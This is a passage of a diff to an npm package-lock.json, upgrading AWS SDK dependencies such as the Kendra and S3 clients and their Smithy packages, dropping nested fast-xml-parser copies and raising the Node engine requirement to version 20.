"https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.922.0.tgz", - "integrity": "sha512-AkvYO6b80FBm5/kk2E636zNNcNgjztNNUxpqVx+huyGn9ZqGTzS4kLqW2hO6CBe5APzVtPCtiQsXL24nzuOlAg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.922.0.tgz", - "integrity": "sha512-TtSCEDonV/9R0VhVlCpxZbp/9sxQvTTRKzIf8LxW3uXpby6Wl8IxEciBJlxmSkoqxh542WRcko7NYODlvL/gDA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@aws/lambda-invoke-store": "^0.1.1", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.927.0.tgz", - "integrity": "sha512-sv6St9EgEka6E7y19UMCsttFBZ8tsmz2sstgRd7LztlX3wJynpeDUhq0gtedguG1lGZY/gDf832k5dqlRLUk7g==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@aws-sdk/util-endpoints": "3.922.0", - "@smithy/core": "^3.17.2", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/region-config-resolver": { - "version": "3.925.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.925.0.tgz", - "integrity": "sha512-FOthcdF9oDb1pfQBRCfWPZhJZT5wqpvdAS5aJzB1WDZ+6EuaAhLzLH/fW1slDunIqq1PSQGG3uSnVglVVOvPHQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/config-resolver": "^4.4.2", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/types": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.922.0.tgz", - "integrity": "sha512-eLA6XjVobAUAMivvM7DBL79mnHyrm+32TkXNWZua5mnxF+6kQCfblKKJvxMZLGosO53/Ex46ogim8IY5Nbqv2w==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/util-endpoints": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.922.0.tgz", - "integrity": "sha512-4ZdQCSuNMY8HMlR1YN4MRDdXuKd+uQTeKIr5/pIM+g3TjInZoj8imvXudjcrFGA63UF3t92YVTkBq88mg58RXQ==", + "version": "3.984.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.984.0.tgz", + "integrity": "sha512-9ebjLA0hMKHeVvXEtTDCCOBtwjb0bOXiuUV06HNeVdgAjH6gj4x4Zwt4IBti83TiyTGOCl5YfZqGx4ehVsasbQ==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "@smithy/url-parser": "^4.2.4", - "@smithy/util-endpoints": "^3.2.4", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.922.0.tgz", - "integrity": "sha512-qOJAERZ3Plj1st7M4Q5henl5FRpE30uLm6L9edZqZXGR6c7ry9jzexWamWVpQ4H4xVAVmiO9dIEBAfbq4mduOA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.927.0.tgz", - "integrity": "sha512-5Ty+29jBTHg1mathEhLJavzA7A7vmhephRYGenFzo8rApLZh+c+MCAqjddSjdDzcf5FH+ydGGnIrj4iIfbZIMQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/middleware-user-agent": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "aws-crt": ">=1.0.0" - }, - "peerDependenciesMeta": { - "aws-crt": { - "optional": true - } - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/xml-builder": { - "version": "3.921.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.921.0.tgz", - "integrity": "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.8.1", - "fast-xml-parser": "5.2.5", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/client-kendra/node_modules/@smithy/is-array-buffer": { @@ -3080,475 +3398,130 @@ "node": ">=18.0.0" } }, - "node_modules/@aws-sdk/client-kendra/node_modules/fast-xml-parser": { - "version": "5.2.5", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.2.5.tgz", - "integrity": "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "strnum": "^2.1.0" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/strnum": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.1.1.tgz", - "integrity": "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, "node_modules/@aws-sdk/client-s3": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-s3/-/client-s3-3.758.0.tgz", - "integrity": "sha512-f8SlhU9/93OC/WEI6xVJf/x/GoQFj9a/xXK6QCtr5fvCjfSLgMVFmKTiIl/tgtDRzxUDc8YS6EGtbHjJ3Y/atg==", + "version": "3.980.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-s3/-/client-s3-3.980.0.tgz", + "integrity": "sha512-ch8QqKehyn1WOYbd8LyDbWjv84Z9OEj9qUxz8q3IOCU3ftAVkVR0wAuN96a1xCHnpOJcQZo3rOB08RlyKdkGxQ==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.758.0", - "@aws-sdk/credential-provider-node": "3.758.0", - "@aws-sdk/middleware-bucket-endpoint": "3.734.0", - "@aws-sdk/middleware-expect-continue": "3.734.0", - "@aws-sdk/middleware-flexible-checksums": "3.758.0", - "@aws-sdk/middleware-host-header": "3.734.0", - "@aws-sdk/middleware-location-constraint": "3.734.0", - "@aws-sdk/middleware-logger": "3.734.0", - "@aws-sdk/middleware-recursion-detection": "3.734.0", - "@aws-sdk/middleware-sdk-s3": "3.758.0", - "@aws-sdk/middleware-ssec": "3.734.0", - "@aws-sdk/middleware-user-agent": "3.758.0", - "@aws-sdk/region-config-resolver": "3.734.0", - "@aws-sdk/signature-v4-multi-region": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@aws-sdk/util-endpoints": "3.743.0", - "@aws-sdk/util-user-agent-browser": "3.734.0", - "@aws-sdk/util-user-agent-node": "3.758.0", - "@aws-sdk/xml-builder": "3.734.0", - "@smithy/config-resolver": "^4.0.1", - "@smithy/core": "^3.1.5", - "@smithy/eventstream-serde-browser": "^4.0.1", - "@smithy/eventstream-serde-config-resolver": "^4.0.1", - "@smithy/eventstream-serde-node": "^4.0.1", - "@smithy/fetch-http-handler": "^5.0.1", - "@smithy/hash-blob-browser": "^4.0.1", - "@smithy/hash-node": "^4.0.1", - "@smithy/hash-stream-node": "^4.0.1", - "@smithy/invalid-dependency": "^4.0.1", - "@smithy/md5-js": "^4.0.1", - "@smithy/middleware-content-length": "^4.0.1", - "@smithy/middleware-endpoint": "^4.0.6", - "@smithy/middleware-retry": "^4.0.7", - "@smithy/middleware-serde": "^4.0.2", - "@smithy/middleware-stack": "^4.0.1", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/node-http-handler": "^4.0.3", - "@smithy/protocol-http": "^5.0.1", - "@smithy/smithy-client": "^4.1.6", - "@smithy/types": "^4.1.0", - "@smithy/url-parser": "^4.0.1", - "@smithy/util-base64": "^4.0.0", - "@smithy/util-body-length-browser": "^4.0.0", - "@smithy/util-body-length-node": "^4.0.0", - "@smithy/util-defaults-mode-browser": "^4.0.7", - "@smithy/util-defaults-mode-node": "^4.0.7", - "@smithy/util-endpoints": "^3.0.1", - "@smithy/util-middleware": "^4.0.1", - "@smithy/util-retry": "^4.0.1", - "@smithy/util-stream": "^4.1.2", - "@smithy/util-utf8": "^4.0.0", - "@smithy/util-waiter": "^4.0.2", + "@aws-sdk/core": "^3.973.5", + "@aws-sdk/credential-provider-node": "^3.972.4", + "@aws-sdk/middleware-bucket-endpoint": "^3.972.3", + "@aws-sdk/middleware-expect-continue": "^3.972.3", + "@aws-sdk/middleware-flexible-checksums": "^3.972.3", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-location-constraint": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-sdk-s3": "^3.972.5", + "@aws-sdk/middleware-ssec": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.5", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/signature-v4-multi-region": "3.980.0", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.980.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.3", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/eventstream-serde-browser": "^4.2.8", + "@smithy/eventstream-serde-config-resolver": "^4.3.8", + "@smithy/eventstream-serde-node": "^4.2.8", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-blob-browser": "^4.2.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/hash-stream-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/md5-js": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-base64": "^4.3.0", + "@smithy/util-body-length-browser": "^4.2.0", + "@smithy/util-body-length-node": "^4.2.1", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", + "@smithy/util-stream": "^4.5.10", + "@smithy/util-utf8": "^4.2.0", + "@smithy/util-waiter": "^4.2.8", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/client-sso": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.758.0.tgz", - "integrity": "sha512-BoGO6IIWrLyLxQG6txJw6RT2urmbtlwfggapNCrNPyYjlXpzTSJhBYjndg7TpDATFd0SXL0zm8y/tXsUXNkdYQ==", + "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/middleware-sdk-s3": { + "version": "3.972.5", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.972.5.tgz", + "integrity": "sha512-3IgeIDiQ15tmMBFIdJ1cTy3A9rXHGo+b9p22V38vA3MozeMyVC8VmCYdDLA0iMWo4VHA9LDJTgCM0+xU3wjBOg==", "license": "Apache-2.0", "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.758.0", - "@aws-sdk/middleware-host-header": "3.734.0", - "@aws-sdk/middleware-logger": "3.734.0", - "@aws-sdk/middleware-recursion-detection": "3.734.0", - "@aws-sdk/middleware-user-agent": "3.758.0", - "@aws-sdk/region-config-resolver": "3.734.0", - "@aws-sdk/types": "3.734.0", - "@aws-sdk/util-endpoints": "3.743.0", - "@aws-sdk/util-user-agent-browser": "3.734.0", - "@aws-sdk/util-user-agent-node": "3.758.0", - "@smithy/config-resolver": "^4.0.1", - "@smithy/core": "^3.1.5", - "@smithy/fetch-http-handler": "^5.0.1", - "@smithy/hash-node": "^4.0.1", - "@smithy/invalid-dependency": "^4.0.1", - "@smithy/middleware-content-length": "^4.0.1", - "@smithy/middleware-endpoint": "^4.0.6", - "@smithy/middleware-retry": "^4.0.7", - "@smithy/middleware-serde": "^4.0.2", - "@smithy/middleware-stack": "^4.0.1", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/node-http-handler": "^4.0.3", - "@smithy/protocol-http": "^5.0.1", - "@smithy/smithy-client": "^4.1.6", - "@smithy/types": "^4.1.0", - "@smithy/url-parser": "^4.0.1", - "@smithy/util-base64": "^4.0.0", - "@smithy/util-body-length-browser": "^4.0.0", - "@smithy/util-body-length-node": "^4.0.0", - "@smithy/util-defaults-mode-browser": "^4.0.7", - "@smithy/util-defaults-mode-node": "^4.0.7", - "@smithy/util-endpoints": "^3.0.1", - "@smithy/util-middleware": "^4.0.1", - "@smithy/util-retry": "^4.0.1", - "@smithy/util-utf8": "^4.0.0", + "@aws-sdk/core": "^3.973.5", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-arn-parser": "^3.972.2", + "@smithy/core": "^3.22.0", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/signature-v4": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/util-config-provider": "^4.2.0", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-stream": "^4.5.10", + "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/core": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.758.0.tgz", - "integrity": "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg==", + "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/signature-v4-multi-region": { + "version": "3.980.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.980.0.tgz", + "integrity": "sha512-tO2jBj+ZIVM0nEgi1SyxWtaYGpuAJdsrugmWcI3/U2MPWCYsrvKasUo0026NvJJao38wyUq9B8XTG8Xu53j/VA==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/core": "^3.1.5", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/property-provider": "^4.0.1", - "@smithy/protocol-http": "^5.0.1", - "@smithy/signature-v4": "^5.0.1", - "@smithy/smithy-client": "^4.1.6", - "@smithy/types": "^4.1.0", - "@smithy/util-middleware": "^4.0.1", - "fast-xml-parser": "4.4.1", + "@aws-sdk/middleware-sdk-s3": "^3.972.5", + "@aws-sdk/types": "^3.973.1", + "@smithy/protocol-http": "^5.3.8", + "@smithy/signature-v4": "^5.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/credential-provider-env": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.758.0.tgz", - "integrity": "sha512-N27eFoRrO6MeUNumtNHDW9WOiwfd59LPXPqDrIa3kWL/s+fOKFHb9xIcF++bAwtcZnAxKkgpDCUP+INNZskE+w==", + "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/util-arn-parser": { + "version": "3.972.2", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-arn-parser/-/util-arn-parser-3.972.2.tgz", + "integrity": "sha512-VkykWbqMjlSgBFDyrY3nOSqupMc6ivXuGmvci6Q3NnLq5kC+mKQe2QBZ4nrWRE/jqOxeFP2uYzLtwncYYcvQDg==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/property-provider": "^4.0.1", - "@smithy/types": "^4.1.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/credential-provider-http": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.758.0.tgz", - "integrity": "sha512-Xt9/U8qUCiw1hihztWkNeIR+arg6P+yda10OuCHX6kFVx3auTlU7+hCqs3UxqniGU4dguHuftf3mRpi5/GJ33Q==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/fetch-http-handler": "^5.0.1", - "@smithy/node-http-handler": "^4.0.3", - "@smithy/property-provider": "^4.0.1", - "@smithy/protocol-http": "^5.0.1", - "@smithy/smithy-client": "^4.1.6", - "@smithy/types": "^4.1.0", - "@smithy/util-stream": "^4.1.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.758.0.tgz", - "integrity": "sha512-cymSKMcP5d+OsgetoIZ5QCe1wnp2Q/tq+uIxVdh9MbfdBBEnl9Ecq6dH6VlYS89sp4QKuxHxkWXVnbXU3Q19Aw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.758.0", - "@aws-sdk/credential-provider-env": "3.758.0", - "@aws-sdk/credential-provider-http": "3.758.0", - "@aws-sdk/credential-provider-process": "3.758.0", - "@aws-sdk/credential-provider-sso": "3.758.0", - "@aws-sdk/credential-provider-web-identity": "3.758.0", - "@aws-sdk/nested-clients": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/credential-provider-imds": "^4.0.1", - "@smithy/property-provider": "^4.0.1", - "@smithy/shared-ini-file-loader": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/credential-provider-node": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.758.0.tgz", - "integrity": "sha512-+DaMv63wiq7pJrhIQzZYMn4hSarKiizDoJRvyR7WGhnn0oQ/getX9Z0VNCV3i7lIFoLNTb7WMmQ9k7+z/uD5EQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/credential-provider-env": "3.758.0", - "@aws-sdk/credential-provider-http": "3.758.0", - "@aws-sdk/credential-provider-ini": "3.758.0", - "@aws-sdk/credential-provider-process": "3.758.0", - "@aws-sdk/credential-provider-sso": "3.758.0", - "@aws-sdk/credential-provider-web-identity": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/credential-provider-imds": "^4.0.1", - "@smithy/property-provider": "^4.0.1", - "@smithy/shared-ini-file-loader": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/credential-provider-process": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.758.0.tgz", - "integrity": "sha512-AzcY74QTPqcbXWVgjpPZ3HOmxQZYPROIBz2YINF0OQk0MhezDWV/O7Xec+K1+MPGQO3qS6EDrUUlnPLjsqieHA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/property-provider": "^4.0.1", - "@smithy/shared-ini-file-loader": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.758.0.tgz", - "integrity": "sha512-x0FYJqcOLUCv8GLLFDYMXRAQKGjoM+L0BG4BiHYZRDf24yQWFCAZsCQAYKo6XZYh2qznbsW6f//qpyJ5b0QVKQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/client-sso": "3.758.0", - "@aws-sdk/core": "3.758.0", - "@aws-sdk/token-providers": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/property-provider": "^4.0.1", - "@smithy/shared-ini-file-loader": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.758.0.tgz", - "integrity": "sha512-XGguXhBqiCXMXRxcfCAVPlMbm3VyJTou79r/3mxWddHWF0XbhaQiBIbUz6vobVTD25YQRbWSmSch7VA8kI5Lrw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.758.0", - "@aws-sdk/nested-clients": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/property-provider": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/middleware-host-header": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.734.0.tgz", - "integrity": "sha512-LW7RRgSOHHBzWZnigNsDIzu3AiwtjeI2X66v+Wn1P1u+eXssy1+up4ZY/h+t2sU4LU36UvEf+jrZti9c6vRnFw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/middleware-logger": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.734.0.tgz", - "integrity": "sha512-mUMFITpJUW3LcKvFok176eI5zXAUomVtahb9IQBwLzkqFYOrMJvWAvoV4yuxrJ8TlQBG8gyEnkb9SnhZvjg67w==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.734.0.tgz", - "integrity": "sha512-CUat2d9ITsFc2XsmeiRQO96iWpxSKYFjxvj27Hc7vo87YUHRnfMfnc8jw1EpxEwMcvBD7LsRa6vDNky6AjcrFA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.758.0.tgz", - "integrity": "sha512-iNyehQXtQlj69JCgfaOssgZD4HeYGOwxcaKeG6F+40cwBjTAi0+Ph1yfDwqk2qiBPIRWJ/9l2LodZbxiBqgrwg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@aws-sdk/util-endpoints": "3.743.0", - "@smithy/core": "^3.1.5", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/region-config-resolver": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.734.0.tgz", - "integrity": "sha512-Lvj1kPRC5IuJBr9DyJ9T9/plkh+EfKLy+12s/mykOy1JaKHDpvj+XGy2YO6YgYVOb8JFtaqloid+5COtje4JTQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/types": "^4.1.0", - "@smithy/util-config-provider": "^4.0.0", - "@smithy/util-middleware": "^4.0.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/token-providers": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.758.0.tgz", - "integrity": "sha512-ckptN1tNrIfQUaGWm/ayW1ddG+imbKN7HHhjFdS4VfItsP0QQOB0+Ov+tpgb4MoNR4JaUghMIVStjIeHN2ks1w==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/nested-clients": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/property-provider": "^4.0.1", - "@smithy/shared-ini-file-loader": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/types": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.734.0.tgz", - "integrity": "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/util-endpoints": { - "version": "3.743.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.743.0.tgz", - "integrity": "sha512-sN1l559zrixeh5x+pttrnd0A3+r34r0tmPkJ/eaaMaAzXqsmKU/xYre9K3FNnsSS1J1k4PEfk/nHDTVUgFYjnw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", - "@smithy/util-endpoints": "^3.0.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.734.0", - "resolved": 